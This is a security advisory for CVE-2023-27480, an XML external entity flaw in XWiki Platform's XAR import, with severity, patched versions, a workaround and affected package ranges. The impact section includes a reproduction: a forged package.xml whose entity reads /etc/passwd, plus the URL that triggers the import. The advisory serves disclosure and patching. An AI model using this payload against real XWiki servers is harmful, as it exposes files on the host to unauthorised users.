GHSA-gx4f-976g-7g6v

Source

https://github.com/advisories/GHSA-gx4f-976g-7g6v

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-gx4f-976g-7g6v/GHSA-gx4f-976g-7g6v.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-gx4f-976g-7g6v

Aliases

CVE-2023-27480

Published

2023-03-08T17:19:30Z

Modified

2023-11-08T04:12:04.667210Z

Severity

7.7 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N CVSS Calculator

Summary

XWiki Platform vulnerable to data leak via Improper Restriction of XML External Entity Reference

Details

Impact

Any user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host.

Example to reproduce: * Create a forget XAR file and inside it, have the following package.xml content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<package>
<infos>
<name>&xxe;</name>
<description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description>
<licence></licence>
<author>XWiki.Admin</author>
...

* Upload it onto a wiki page (e.g. XXE) as an attachment (e.g. test.xar). * Call the page using http://localhost:8080/xwiki/bin/view/Main/XXE?sheet=XWiki.AdminImportSheet&file=test.xar

You'll then notice that the displayed UI contains the content of the /etc/passwd file.

Patches

The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1.

Workarounds

You'd need to get XWiki Platform sources and apply the changes from https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434 to the XarPackage java class and then copy the modified version to your WEB-INF/classes directory (or rebuild the xwiki-platform-xar-model maven module and replace the one found in WEB-INF/lib/).

References

https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434
https://jira.xwiki.org/browse/XWIKI-20320

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Database specific

{
    "nvd_published_at": "2023-03-07T19:15:00Z",
    "github_reviewed_at": "2023-03-08T17:19:30Z",
    "severity": "HIGH",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-611"
    ]
}

References

Affected packages

Maven / org.xwiki.platform:xwiki-platform-xar-model

Package

Name: org.xwiki.platform:xwiki-platform-xar-model; View open source insights on deps.dev
Purl: pkg:maven/org.xwiki.platform/xwiki-platform-xar-model

Affected ranges

Type: ECOSYSTEM
Events: Introduced

1.1-milestone-3

Fixed

13.10.11

Maven / org.xwiki.platform:xwiki-platform-xar-model

Package

Name: org.xwiki.platform:xwiki-platform-xar-model; View open source insights on deps.dev
Purl: pkg:maven/org.xwiki.platform/xwiki-platform-xar-model

Affected ranges

Type: ECOSYSTEM
Events: Introduced

14.0

Fixed

14.4.7

Maven / org.xwiki.platform:xwiki-platform-xar-model

Package

Name: org.xwiki.platform:xwiki-platform-xar-model; View open source insights on deps.dev
Purl: pkg:maven/org.xwiki.platform/xwiki-platform-xar-model

Affected ranges

Type: ECOSYSTEM
Events: Introduced

14.5

Fixed

14.10-rc-1